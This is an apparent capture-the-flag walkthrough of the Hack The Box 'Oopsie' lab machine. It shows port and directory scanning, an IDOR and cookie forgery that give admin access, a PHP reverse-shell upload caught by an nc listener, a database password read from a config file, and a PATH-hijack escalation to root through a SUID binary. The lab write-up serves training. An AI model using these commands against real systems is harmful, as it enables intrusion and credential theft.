https://app.hackthebox.com/machines/Oopsie/



Oopsie | Walkthrough

Phase
Reconnaissance
Foothold

Reconnaissance

Using nmap to enumerate all open ports in the target

nmap -sC -sV 10.129.19.34
port scanning
nopedawn@npdn ~/L/H/S/Oopsie> nmap -sC -sV 10.129.19.34
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-13 13:08 WIB
Nmap scan report for 10.129.19.34
Host is up (0.71s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.70 seconds

After port-scanning, the service is running in linux machine and there are two service opens in tcp

  • 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  • 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

In http it’s a website page, let’s try to enumerate all directories if it’s available

gobuster enumerating
nopedawn@npdn ~/L/H/S/Oopsie> gobuster dir -u 10.129.19.34 -w /usr/share/wordlists/SecLists/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.19.34
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta                 (Status: 403) [Size: 277]
.htaccess            (Status: 403) [Size: 277]
.htpasswd            (Status: 403) [Size: 277]
css                  (Status: 301) [Size: 310] [--> http://10.129.19.34/css/]
fonts                (Status: 301) [Size: 312] [--> http://10.129.19.34/fonts/]
images               (Status: 301) [Size: 313] [--> http://10.129.19.34/images/]
index.php            (Status: 200) [Size: 10932]
js                   (Status: 301) [Size: 309] [--> http://10.129.19.34/js/]
server-status        (Status: 403) [Size: 277]
themes               (Status: 301) [Size: 313] [--> http://10.129.19.34/themes/]
uploads              (Status: 301) [Size: 314] [--> http://10.129.19.34/uploads/]
Progress: 4738 / 4738 (100.00%)
===============================================================
Finished
===============================================================
nopedawn@npdn ~/L/H/S/Oopsie> gobuster dir -u 10.129.19.34 -w /usr/share/wordlists/Gobuster/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.19.34
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/Gobuster/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images               (Status: 301) [Size: 313] [--> http://10.129.19.34/images/]
js                   (Status: 301) [Size: 309] [--> http://10.129.19.34/js/]
css                  (Status: 301) [Size: 310] [--> http://10.129.19.34/css/]
index.php            (Status: 200) [Size: 10932]
fonts                (Status: 301) [Size: 312] [--> http://10.129.19.34/fonts/]
.htaccess            (Status: 403) [Size: 277]
uploads              (Status: 301) [Size: 314] [--> http://10.129.19.34/uploads/]
themes               (Status: 301) [Size: 313] [--> http://10.129.19.34/themes/]
.htpasswd            (Status: 403) [Size: 277]
.htpasswds           (Status: 403) [Size: 277]
Progress: 1828 / 1828 (100.00%)
===============================================================
Finished
===============================================================

It seems no interesting findings from gobuster, but if we check and view the page source there’s path to the directory on the webserver that returns a login page http://10.129.19.34/cdn-cgi/login

And we can logged in as guest

Account Tab

Access IDNameEmail
2233guestguest@megacorp.com

Branding Tab

Brand IDModelPrice
2MC-2124$100,430

Client Tab

Client IDNameEmail
2clientclient@client.htb

Notice the URL is http://10.129.19.34/cdn-cgi/login/admin.php?content=accounts&id=2 it seems like this URL is not sanitize and this will be lead to IDOR

I tried to change the argument id= and got the admin access id in http://10.129.19.34/cdn-cgi/login/admin.php?content=accounts&id=1

Access IDNameEmail
34322adminadmin@megacorp.com

Open the burpsuite and start to send a request with cookie Cookie: user=34322; role=admin as following

GET /cdn-cgi/login/admin.php?content=uploads HTTP/1.1
Host: 10.129.19.34
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.19.34/cdn-cgi/login/admin.php?content=accounts&id=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: user=34322; role=admin
Connection: keep-alive

The cookie can be modified, and now we can access /uploads directory

We can also set the Cookie as follow Browser > CTRL+SHIFT+I > TAB Application

NameValue
roleadmin
user34322

Foothold

Since we can upload files, let’s try a standard PHP reverse-shell to get the grant access

I’ll be using the same reverse-shell revshell.php script as I did in the previous post Three.

Make sure and don’t forget to change <YOUR-STARTING-VPN-IP> to your own ip and port (if you want)

It’ll be look like this

$ip = '10.10.16.155';
$port = 8481;

Set the listener

nc -lvnp 8481
set listener
D:\HTB\Starting-Point\Oopsie>nc -lvnp 8481
listening on [any] 8481 ...

Now, try to upload that revshell.php in /upload Tab or simply use this following command to send it

curl -X POST "http://10.129.19.34/cdn-cgi/login/admin.php?content=uploads&action=upload" \
  -H "Cookie: user=34322; role=admin" \
  -F "name=test" \
  -F "fileToUpload=@revshell.php"
send payload file
nopedawn@npdn ~/L/H/S/Oopsie> curl -X POST "http://10.129.19.34/cdn-cgi/login/admin.php?content=uploads&action=upload" \
  -H "Cookie: user=34322; role=admin" \
  -F "name=test" \
  -F "fileToUpload=@revshell.php"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Admin Panel</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel='stylesheet' href='/css/bootstrap.min.css'>
<link rel='stylesheet' href='/css/ionicons.min.css'>
<style>
.container {
  max-width: 960px;
}
.navbar-survival101 {
  background-color:#2B6DAD;
}
/* .navbar-survival101 .navbar-brand {
  margin-right: 2.15rem;
  padding: 3px 0 0 0;
  line-height: 36px;
} */

.navbar-survival101 .navbar-brand img {
  vertical-align: baseline;
}

.navbar-expand-lg .navbar-nav .nav-link {
  color: #fff;
}

.search-box {
  position: relative;
  height: 34px;
}
.search-box input {
  border: 0;
  border-radius: 3px !important;
  padding-right: 28px;
  font-size: 15px;
}

.search-box .input-group-btn {
  position: absolute;
  right: 0;
  top: 0;
  z-index: 999;
}

.search-box .input-group-btn button {
  background-color: transparent;
  border: 0;
  padding: 4px 8px;
  color: rgba(0,0,0,.4);
  font-size: 20px;
}

.search-box .input-group-btn button:hover,
.search-box .input-group-btn button:active,
.search-box .input-group-btn button:focus {
  color: rgba(0,0,0,.4);
}

@media (min-width: 992px) {
  .navbar-expand-lg .navbar-nav .nav-link {
    padding-right: .7rem;
    padding-left: .7rem;
  }

.new {
  font-family: arial, sans-serif;
  border-collapse: collapse;
  width:30%;
}

table {
  font-family: arial, sans-serif;
  border-collapse: collapse;
  width: 60%;
}

td, th {
  border: 1px solid #dddddd;
  text-align: center;
  padding: 8px;
}

tr:nth-child(even) {
  background-color: #dddddd;
}
  .search-box {
    width: 300px !important;
  }
}

.caroulsel {
  width: 100%;
  overflow: hidden;
  padding: 5px 0 5px 5px;
}

.caroulsel-wrap {
  white-space: nowrap;
  font-size: 0;
}

.caroulsel-wrap a {
  display: inline-block;
  width: 134px;
  height: 92px;
  background-color: silver;
  border: #ccc 1px solid;
  margin-right: 5px;
}
</style>
<script>
  window.console = window.console || function(t) {};
</script>
<script>
  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
</script>
</head>
<body translate="no">
<nav class="navbar navbar-expand-lg navbar-dark navbar-survival101">
<div class="container">
<a class="navbar-brand" href="#">
MegaCorp Automotive
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarColor02" aria-controls="navbarColor02" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarColor02">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=accounts&id=2">Account<span class="sr-only">(current)</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=branding&brandId=2">Branding</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=clients&orgId=2">Clients</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=uploads">Uploads</a></li>
<li class="nav-item">
        <a class="nav-link" href="#">Logged in as Guest</a>
</li>
</ul>
<form class="form-inline">
</span>
</div>
</form>
</div>
</div>
</nav>
<br /><br /><center><h1>Repair Management System</h1><br /><br />
The file revshell.php has been uploaded.<script src='/js/jquery.min.js'></script>
<script src='/js/bootstrap.min.js'></script>
</body>
</html>

The payload file is succesfully uploaded.

Now, try to curl or access the file that we already uploaded, this will be trigger the listener to gain reverse-shell access

curl to trigger
nopedawn@npdn ~/L/H/S/Oopsie> curl http://10.129.19.34/uploads/revshell.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.129.19.34 Port 80</address>
</body></html>

Back to listener tab, we successfully got the reverse-shell

reverse-shell gained
D:\CTF\HTB\Starting-Point\Oopsie>nc -lvnp 8481
listening on [any] 8481 ...
connect to [10.10.16.155] from (UNKNOWN) [10.129.19.34] 44202
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 08:33:54 up  2:26,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

From lab task, we need to find the file that contains the password is shared with the robert user, to do this i’ve tried many type of corresponding extensions, shortly I found these

Run a find command to search for all files with a .php extension that the current user has permission to access.

search all php files
$ find / -type f -name *.php 2>/dev/null
/var/www/html/index.php
/var/www/html/cdn-cgi/login/index.php
/var/www/html/cdn-cgi/login/admin.php
/var/www/html/cdn-cgi/login/db.php
$ cat /var/www/html/cdn-cgi/login/db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
$

Got the leaked mysql credential robert:M3g4C0rpUs3r! stored in /var/www/html/cdn-cgi/login/db.php.

Next task we’re also performing to identify all files owned by the bugtracker group

find / -group bugtracker 2>/dev/null
identify all bugtracker group files
$ find / -group bugtracker 2>/dev/null
/usr/bin/bugtracker
$

Regardless of which user starts running the bugtracker executable, user privileges will use to run is root

which user to privesc
$ ls -la /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker
$

User flag is stored in /home/robert/user.txt

robert@oopsie:/$ cat /home/robert/user.txt
cat /home/robert/user.txt
REDACTED

Enter the root & privesc, make sure to set semi stabilizing shell and alias

alias ls='ls --color=always -lAh'
python3 -c "import pty;pty.spawn('/bin/bash')"

Back to lateral movement, we need to switch user and logged in as robert using M3g4C0rpUs3r! as a password

$ alias ls='ls --color=always -lAh'
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@oopsie:/$ su robert
su robert
Password: M3g4C0rpUs3r

su: Authentication failure
www-data@oopsie:/$ su robert
su robert
Password: M3g4C0rpUs3r!

robert@oopsie:/$

From previous bugtracker executable, i’m curious what is it, let’s ltrace it

ltrace bugtracker
robert@oopsie:/$ ltrace bugtracker
ltrace bugtracker
printf("%s", "\n------------------\n: EV Bug Tra"...
------------------
: EV Bug Tracker :
------------------

) = 59
printf("Provide Bug ID: ")                       = 16
__isoc99_scanf(0x5633d6a4db74, 0x7ffdc4b83300, 0, 0Provide Bug ID: idk
idk
) = 1
printf("%s", "---------------\n\n"---------------

)              = 17
geteuid()                                        = 1000
setuid(1000)                                     = 0
strlen("cat /root/reports/")                     = 18
strlen("idk")                                    = 3
malloc(22)                                       = 0x5633d7310a80
strcpy(0x5633d7310a80, "cat /root/reports/")     = 0x5633d7310a80
strcat("cat /root/reports/", "idk")              = "cat /root/reports/idk"
system("cat /root/reports/idk"cat: /root/reports/idk: Permission denied
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 256
putchar(10, 0x7ffdc4b831b0, 0, 0
)                = 10
+++ exited (status 0) +++
robert@oopsie:/$

It’s waiting for user input — enter any text and press Enter. We can see that the application’s permissions are temporarily elevated to root privileges.

geteuid()                                        = 1000
setuid(1000)                                     = 0

And following path is cat out.

system("cat /root/reports/idk"cat: /root/reports/idk: Permission denied

The app attempts to display the file using cat.

We can take advantage that cat is not called using its absolute path (/bin/cat). The idea is to modify the PATH variable to include a directory that will be searched before /bin/.

Inside that directory, we create a fake cat file that executes /bin/bash. As seen earlier, whatever cat refers to is executed with temporarily elevated privileges, allowing us to obtain a root shell.

export PATH=/tmp:$PATH
cd /tmp/
echo '/bin/sh' > cat
chmod +x cat
execute following commands
robert@oopsie:/$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
robert@oopsie:/$ cd /tmp/
cd /tmp/
robert@oopsie:/tmp$ echo '/bin/sh' > cat
echo '/bin/sh' > cat
robert@oopsie:/tmp$ chmod +x cat
chmod +x cat
robert@oopsie:/tmp$

This way, the cat executable we created will be executed by bugtracker instead of the original /bin/cat.

ls -lAh cat
robert@oopsie:/tmp$ ls -lAh cat
ls -lAh cat
-rwxrwxr-x 1 robert robert 8 Mar 13 10:16 cat
robert@oopsie:/tmp$
bugtracker
robert@oopsie:/tmp$ bugtracker
bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: test
test
---------------

# id
id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)

Keep that in mind since we modified cat through the PATH, we should either remove /tmp from the PATH or use cat with its absolute path.

root flag
# find / -name root.txt 2>/dev/null
find / -name root.txt 2>/dev/null
/root/root.txt
# /bin/cat /root/root.txt
/bin/cat /root/root.txt
REDACTED
#

Root flag is stored in /root/root.txt